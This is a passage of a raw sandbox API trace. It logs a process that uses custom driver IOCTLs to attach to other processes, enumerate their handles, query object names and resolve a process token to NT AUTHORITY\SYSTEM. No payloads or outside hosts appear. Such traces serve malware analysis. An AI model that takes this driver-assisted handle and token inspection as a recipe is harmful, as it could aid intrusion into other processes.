HandleInformation=0x0) returned 0x0 [0113.561] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.561] PsReleaseProcessExitSynchronization () returned 0x2 [0113.561] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.561] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.561] ObfDereferenceObject (Object=0xfffffa80020046f0) returned 0x11 [0113.561] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.561] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.561] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.561] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.561] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.561] PsAcquireProcessExitSynchronization () returned 0x0 [0113.561] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.561] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b92b00, HandleInformation=0x0) returned 0x0 [0113.561] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.561] PsReleaseProcessExitSynchronization () returned 0x2 [0113.561] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.561] ObQueryNameString (in: Object=0xfffffa8003b92b00, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.561] ObfDereferenceObject (Object=0xfffffa8003b92b00) returned 0x1 [0113.561] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.561] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.561] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.561] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.561] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.561] PsAcquireProcessExitSynchronization () returned 0x0 [0113.561] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.561] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002b90070, HandleInformation=0x0) returned 0x0 [0113.561] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.561] PsReleaseProcessExitSynchronization () returned 0x2 [0113.561] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.561] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.562] ObfDereferenceObject (Object=0xfffffa8002b90070) returned 0x1 [0113.562] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.562] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.562] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.562] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.562] PsAcquireProcessExitSynchronization () returned 0x0 [0113.562] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.562] ObReferenceObjectByHandle (in: Handle=0x9bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003bbc9c0, HandleInformation=0x0) returned 0x0 [0113.562] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.562] PsReleaseProcessExitSynchronization () returned 0x2 [0113.562] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.562] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.562] ObfDereferenceObject (Object=0xfffffa8003bbc9c0) returned 0x1 [0113.562] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.562] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.562] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.562] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.562] PsAcquireProcessExitSynchronization () returned 0x0 [0113.562] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.562] ObReferenceObjectByHandle (in: Handle=0x9d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003bbc870, HandleInformation=0x0) returned 0x0 [0113.562] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.562] PsReleaseProcessExitSynchronization () returned 0x2 [0113.562] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.562] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.562] ObfDereferenceObject (Object=0xfffffa8003bbc870) returned 0x1 [0113.562] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.562] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.562] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.562] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.562] PsAcquireProcessExitSynchronization () returned 0x0 [0113.563] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.563] ObReferenceObjectByHandle (in: Handle=0x9f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f8d850, HandleInformation=0x0) returned 0x0 [0113.563] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.563] PsReleaseProcessExitSynchronization () returned 0x2 [0113.563] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.563] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.563] ObfDereferenceObject (Object=0xfffffa8002f8d850) returned 0x1 [0113.563] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.563] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.563] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0113.563] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.563] PsAcquireProcessExitSynchronization () returned 0x0 [0113.563] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.563] ObReferenceObjectByHandle (in: Handle=0x9f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003590770, HandleInformation=0x0) returned 0x0 [0113.563] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.563] PsReleaseProcessExitSynchronization () returned 0x2 [0113.563] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.563] ObQueryNameString (in: Object=0xfffffa8003590770, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.563] ObfDereferenceObject (Object=0xfffffa8003590770) returned 0x11 [0113.563] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.563] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.563] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.563] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.563] PsAcquireProcessExitSynchronization () returned 0x0 [0113.563] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.563] ObReferenceObjectByHandle (in: Handle=0xa08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031413d0, HandleInformation=0x0) returned 0x0 [0113.563] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.563] PsReleaseProcessExitSynchronization () returned 0x2 [0113.563] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.563] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.563] ObfDereferenceObject (Object=0xfffffa80031413d0) returned 0x1 [0113.563] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.564] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.564] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.564] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.564] PsAcquireProcessExitSynchronization () returned 0x0 [0113.564] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.564] ObReferenceObjectByHandle (in: Handle=0xa34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800b938480, HandleInformation=0x0) returned 0x0 [0113.564] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.564] PsReleaseProcessExitSynchronization () returned 0x2 [0113.564] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.564] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.564] ObfDereferenceObject (Object=0xfffffa800b938480) returned 0x1 [0113.564] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.564] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.564] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.564] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.564] PsAcquireProcessExitSynchronization () returned 0x0 [0113.564] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.564] ObReferenceObjectByHandle (in: Handle=0xa9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003591be0, HandleInformation=0x0) returned 0x0 [0113.564] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.564] PsReleaseProcessExitSynchronization () returned 0x2 [0113.564] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.564] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.564] ObfDereferenceObject (Object=0xfffffa8003591be0) returned 0x1 [0113.564] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.564] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.564] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0113.564] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.564] PsAcquireProcessExitSynchronization () returned 0x0 [0113.564] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.564] ObReferenceObjectByHandle (in: Handle=0xabc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003097f20, HandleInformation=0x0) returned 0x0 [0113.564] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.565] PsReleaseProcessExitSynchronization () returned 0x2 [0113.565] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.565] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.565] ObfDereferenceObject (Object=0xfffffa8003097f20) returned 0x1 [0113.565] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.565] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.565] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0113.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.565] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8003235b30, HandleInformation=0x0) returned 0x0 [0113.565] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.565] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0113.565] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0113.565] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.565] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.565] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.565] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.695] CloseHandle (hObject=0xc8) returned 1 [0113.695] CloseHandle (hObject=0xc0) returned 1 [0113.695] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.695] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.695] PsAcquireProcessExitSynchronization () returned 0x0 [0113.695] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0113.695] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f72400, HandleInformation=0x0) returned 0x0 [0113.695] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.695] PsReleaseProcessExitSynchronization () returned 0x2 [0113.695] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0113.695] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.695] ObfDereferenceObject (Object=0xfffffa8002f72400) returned 0x1 [0113.695] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.695] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.695] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.696] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.696] PsAcquireProcessExitSynchronization () returned 0x0 [0113.696] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0113.696] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003277b70, HandleInformation=0x0) returned 0x0 [0113.696] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.696] PsReleaseProcessExitSynchronization () returned 0x2 [0113.696] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0113.696] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.696] ObfDereferenceObject (Object=0xfffffa8003277b70) returned 0x1 [0113.696] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.696] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.696] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.696] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.696] PsAcquireProcessExitSynchronization () returned 0x0 [0113.696] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0113.696] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003478070, HandleInformation=0x0) returned 0x0 [0113.696] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.696] PsReleaseProcessExitSynchronization () returned 0x2 [0113.696] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0113.696] ObQueryNameString (in: Object=0xfffffa8003478070, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.696] ObfDereferenceObject (Object=0xfffffa8003478070) returned 0x1 [0113.696] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.696] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.696] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.696] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.696] PsAcquireProcessExitSynchronization () returned 0x0 [0113.696] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0113.696] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.696] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.696] PsReleaseProcessExitSynchronization () returned 0x2 [0113.696] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0113.696] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: 